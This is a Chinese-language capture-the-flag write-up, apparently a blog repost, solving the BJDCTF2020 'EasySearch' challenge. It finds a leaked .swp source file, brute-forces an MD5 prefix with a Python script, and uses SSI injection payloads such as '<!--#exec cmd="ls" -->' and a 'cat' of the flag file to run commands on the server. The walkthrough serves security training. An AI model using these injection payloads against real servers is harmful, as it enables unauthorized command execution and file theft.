[BJDCTF2020]EasySearch-1


1、打开之后界面如下:

[BJDCTF2020]EasySearch-1

2、在首界面审查源代码、抓包未获取到有效信息,就开始进行目录扫描,获取到index.php.swp文件,结果如下:

[BJDCTF2020]EasySearch-1

3、访问index.php.swp文件获取源代码信息,结果如下:

[BJDCTF2020]EasySearch-1

4、分析源代码发现password进行md5加密后前六位需要与’6d0bc1’相同,那就只能采取脚本或从自身收藏的md5值中搜索来获取目的字符,脚本以及搜索结果如下:

之前自己闲的时候把五位以内的所有的字符串的md5值给跑出来的:

[BJDCTF2020]EasySearch-1

脚本:

[BJDCTF2020]EasySearch-1

import hashlib

for i in range(1000000000):
    md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if md5[0:6] == '6d0bc1':
        print(str(i)+' | '+md5)

5、选择一个字符串进行登录并抓取数据包,结果如下:

[BJDCTF2020]EasySearch-1

6、访问发现的url地址,获得如下界面:

[BJDCTF2020]EasySearch-1

7、补充一下什么是ssi注入,SSI 注入全称Server-Side Includes Injection(服务端包含注入),ssi可以赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,当在网站目录中发现了.stm .shtm .shtml时就容易产生ssi注入,其注入格式为:<!–#exec cmd=”命令” –>。

8、那就在可控参数用户名处输入可执行命令,payload:<!–#exec cmd=”ls” –>,结果如下:

[BJDCTF2020]EasySearch-1

这个目录下未发下什么有用的东西,那就请求当前目录结构或上一级目录的,payload:<!–#exec cmd=”pwd” –>或<!–#exec cmd=”ls ../” –>,结果如下:

[BJDCTF2020]EasySearch-1

[BJDCTF2020]EasySearch-1

9、发现flag的文件信息后,那就直接读取flag值,payload:<!–#exec cmd=”cat ../flag_990c66bf85a09c664f0b6741840499b2″ –>,结果如下:

[BJDCTF2020]EasySearch-1

 

原创文章,作者:dweifng,如若转载,请注明出处:https://blog.ytso.com/275733.html

(0)
上一篇 2022年7月21日
下一篇 2022年7月21日

相关推荐

发表回复

登录后才能评论